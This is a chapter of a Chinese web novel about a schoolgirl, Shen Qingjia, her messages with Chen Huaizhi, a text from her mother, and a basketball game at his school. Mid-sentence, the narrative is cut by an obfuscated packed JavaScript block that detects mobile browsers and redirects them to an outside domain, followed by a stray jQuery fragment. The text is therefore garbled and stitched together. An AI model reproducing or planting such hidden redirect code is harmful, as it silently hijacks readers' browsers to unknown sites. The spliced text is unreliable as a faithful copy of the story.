元宵过后便是开学。进入一年级下半学期，师生之间基本都混熟了，很多人有了固定的回家搭子，学习压力不大，来学校就是上课和游戏，除了每周五下午老师要集体开会，学生可以提前放学之外，日子和之前比好像没什么不同。
等沈清嘉回过神时，大家已经脱下厚重的羽绒服和围巾，换回了轻薄的夏季校服。
期末考试前的某个周五，刚刚结束一个随堂测验，整个教室闹哄哄的，沈清嘉额头抵着课桌，偷偷在看书包里的手机短信。
【今天是语文早读！好多人不知道为什么困困的，读书声音太小，老师直接叫全班人站起来读了，真过分！】
【今天还有好多小测验，我看到前面的男生在偷偷翻课本，我就偷偷踢他凳子，他每翻一次我就踢一次，到后面他都不翻啦。】
【明天是周末，哥哥要去哪里玩吗？】
不知道从什么时候开始，沈清嘉习惯性地和陈淮之分享在学校的趣事。一中理论上不能带手机，陈淮之百无禁忌，会逐条回复她的消息，只是间隔时间比较长，集中在午休和傍晚时段。
这种事事有回应的感觉真的很让人开心。
周岁看到她脸上控制不住的笑，已经习以为常：“又和你哥哥聊天呢？”
沈清嘉花了几个月的时间给陈淮之正名，每天彩虹屁不带重样，她耳融目染，对陈淮之的阴影虽然还在，但至少不会再称呼其为男鬼。
沈清嘉抬头：“对呀。”
身为独生女的周岁不太懂沈清嘉的快乐，突然想到什么：“对了，明天不是你生日嘛，你哥哥打算带你去哪里庆祝吗？”
沈清嘉支起下巴，表示不知道。
最新一条消息他还没回。
时间越近，越是期待，期待之余，又不免多了一丝担忧。毕竟她从始至终都没和陈淮之提过自己的生日，她不知道陈淮之会不会留心，能不能读懂她的暗示。
应该可以的吧，她去年都给他庆祝了。况且现在他们比那会儿感情更好，陈淮之没道理晾着她的。
沈清嘉在心里默默点头，排除掉那万分之一的意外。
忽然，斜前方的几个女孩子齐齐喊叫，声音太大，引得不少人看过来。
周岁好奇挪过来：“怎么了怎么了，你们在说什么？”
凑近了看，才发现她们脸都红红的，其中一个绑着羊尾辫的女生手贴着嘴围成一个喇叭状，像在分享什么不可告人的秘密：“我昨晚去吃席，那个新娘姐姐好漂亮！白白的婚纱转起来就像公主一样！”
噢，原来是在说婚席。
“然后呢然后呢？”周岁急切追问。
“然后啊……然后哥哥和姐姐并排站在台上，旁边有个人拿话筒说了一堆话，之后，他们头就慢慢挨着，越来越近……”
似是害羞，女生没再说下去，嘟起嘴巴做了个动作。
“啊啊啊啊啊——”
“噢噢噢噢噢——”
饶是女孩们已经听过一次，说到这里的时候还是忍不住尖叫，周岁耳朵被密集的喊叫震得发麻，忙往后撤：“你们居然在说这种事！清嘉你听到了吗！”
“嗯。”沈清嘉点点头。
户外的大草坪上，新郎新娘入场，宣布誓词，互相承诺，然后在亲朋好友的见证下接吻，永结为好。反正电视剧里都是这么演的。
“哎，你说我们以后会不会也要结婚啊？”
沈清嘉不可思议地看向周岁：“你在说什么啊！”
怎么就谈到结婚的事情了？！
周岁摆摆手，不以为意：“怎么啦，我在家和我爸爸妈妈看电视剧的时候，就经常会想这个事。不过也是，结婚这个太远了，那就说恋爱！你哥哥现在不是在上初中吗？那他有没有恋爱过呀？”
沈清嘉听得瞪大双眼，脸也莫名其妙跟着烫起来。
她和陈淮之的聊天相较于之前，确实不再局限于普通的日常生活，只是关于个人的感情方面，实在没什么好谈的，毕竟她年龄摆在这。
至于陈淮之——
“恋爱”这种事情放在他身上，好奇怪啊。
沈清嘉抿唇，心里突然升起一股说不清道不明的情绪。
她根本没法想象陈淮之要是恋爱了会是什么样的。
拥抱，牵手，亲吻，然后四周都是漂亮的粉红泡泡吗？其实她一直觉得那些青春偶像剧有点不真实，怎么能谈个恋爱就被周围人追着八卦起哄呢。
沈清嘉忍不住继续想，那如果他恋爱了，是不是就没办法再陪她了？
沈清嘉摇摇头，及时遏制住越来越跑偏的想象，觉得这个问题是他的私事，她不了解就不该随便回答，于是手指悬在手机按键上，犹豫着编辑新短信。
然而下一秒，手机接收到新邮件，沈清嘉吓了一跳，险些以为陈淮之有监视的能力，这会儿兴师问罪来了。
一点开，屏幕却跳出一个意料之外的名字：崔蕊。
-
陈淮之在看沈清嘉消息的时候，旁边的林一帆突然凑上来：“你发什么呆啊？走了。”
陈淮之收起手机：“去哪？”
“你忘了？”林一帆背起书包，“今天下午咱们和隔壁班有场篮球比赛，上周就约好了的。”
好像是有那么回事。周五没有晚修，下午最后一节是体育课，这周又恰逢任课老师出差学习，代课老师也不怎么管，学生就跟放羊一样。
这确实是千载难逢的约球机会，不过和他有什么关系？
陈淮之无语：“我又不是球员，去干什么？”
而且他脑子还没抽到要穿牛仔裤打球。
忽略陈淮之一副看傻子一样的表情，林一帆勾过他肩膀：“他们确实还用不到你出面收拾，不过反正闲着也是闲着，你就当是捧个人场，咱们可都是有福同享有难同当的啊，你这会儿不去万一给咱班那几人记上了，指不定以后值日垃圾都你倒，到时候我可不……”
“啧。”
陈淮之懒得听这些所谓的大道理，将椅子推到桌下，往球场走。
-
崔蕊发过来两条信息，一条问她最近过得怎么样，另一条问要不要回家，后面附赠了一个地址。
沈清嘉看着屏幕上的白底黑字，一时哑然。
她不太理解，为什么妈妈突然就叫她回去。
考虑了很多种可能，沈清嘉推测大概率是因为明天是她生日。说来也奇怪，明明春节的红包可有可无，爸爸妈妈却热衷于给她庆生，年年不落。
可自从有过上次的经历，她回家的期望已经坠入低谷。
一路纠结，不知不觉到了一中门口。
现在时间还早，距离陈淮之放学还有近一个小时，沈清嘉仰头看一中金灿灿的大门，门卫大叔见她一直背着书包站在那，怪可怜的，以为她是校内家属区的小孩，简单过完安检就放她进去了。
轻车熟路往教学区走，沈清嘉低头，默默练习一会儿要说的话。
经过花圃时，冷不丁迎面撞上一人，沈清嘉始料未及，往前踉跄几步才勉强站稳。
“嘶，妹妹你没事吧？”
沈清嘉抬头，为首的是一个卷着长发的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454549|167751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
女生，此刻正微弯着腰看她，她摇了摇头，搓了搓被撞得发麻的手臂后继续往前走。
人声渐远，却还是飘到耳边——
“我们学校什么时候有小学生了？”
“该不会是哪个老师的孩子吧？”
“应该不是，我都没见过她，哎呀，先别管她啦，我们班跟五班的球赛都开始了……”
听到熟悉的名字，沈清嘉脚步一顿。
远处的篮球场突然传来一阵激烈的欢呼，沈清嘉调转方向，鬼使神差地跟上刚刚的几个女生。
围观的男女生各占一半，沈清嘉比周围人矮了一大截，被推搡着，努力前锋插针往前挤，才勉强有个落脚的地方。
隔着生锈的铁拦网，沈清嘉还是轻松找到了他。
在清一色红蓝的球衣球裤中，陈淮之穿着T恤和牛仔裤，带球过人，站在线外手臂一扬，投中一个完美的空心三分球，场外观赛区又响起此起彼伏的口哨声。
沈清嘉反应过来，机械地学着旁边的女生拍掌庆祝。
陈淮之打球时跟平常不太一样，少了些克制和冷淡，眼底尽是藏不住的张扬轻狂。
可能是见惯了，她一直都觉得陈淮之很高，单纯的高，没想到放在同龄人中，还是那么突出显眼。
沈清嘉完全看呆，心跳没来由地加速。
这是他在学校的状态吗？和在家好不一样，也跟在她面前不一样。
友谊赛没那么多规矩，陈淮之打了几个小节后就下场了，恰巧林一帆回来，激动地要扑过来：“谢了，哥们！”
陈淮之嫌弃地朝旁边一躲，扫了眼他的额头：“后面我可不上了。”
林一帆这人有个毛病，打球一定要戴发带，说是自己跑起来的时候会露出不规整的发际线，影响形象。陈淮之对此表示无语，懒得拆穿这人装酷的小心思。
“那当然。”林一帆往他手里塞了瓶没开封的水，“风头总不能都让你抢了。”
下半场很快开始，陈淮之就顶替了几分钟，也没出汗，这会儿靠着栏杆休息喝水，然后去翻书包里的手机。
沈清嘉这才想起来自己为什么会来这里。
她心里很乱，拿不准要不要听崔蕊的话，又怕手机里文字说不清楚，于是想当面来问问他。
沈清嘉深吸一口气，进到围栏里准备去找陈淮之，一直站在旁边的那个女生却先她一步跑到陈淮之面前。
隔着半个球场，沈清嘉看到女生的脸颊动作局促，不知道是因为紧张还是害怕，试探性地往陈淮之面前递了瓶水。
陈淮之看到是班上的同学，有点意外：“乔玥？”
乔玥点点头，声音低低地祈求道：“你能帮我给林一帆吗？”
……
场上比分逐渐拉大，胜负已经毫无悬念，很多观赛的人有点心不在焉，视线落到场外面对面站着的一男一女。
沈清嘉怕再被人撞，找了个不起眼的角落静静观察。
一模一样的校服，聊不完的话题，合适的身高差，无论从哪个角度看，都是无可挑剔的相配。
哨声响，比赛结束，男生们大汗淋漓准备散场，林一帆刚要找人，就被陈淮之一把拉了过去。
下一秒，一群人凑上去，兴奋地讨论些什么，随后一张张八卦的脸开始起哄，气氛火热又暧昧。
人群里，陈淮之被围着，耳根也红，半挑着眉看向乔玥。
离得太远，听不清他们在说什么，认出这是刚刚撞到的姐姐，沈清嘉心下轰然一声，怅然若失。
原来偶像剧里演的是真的啊。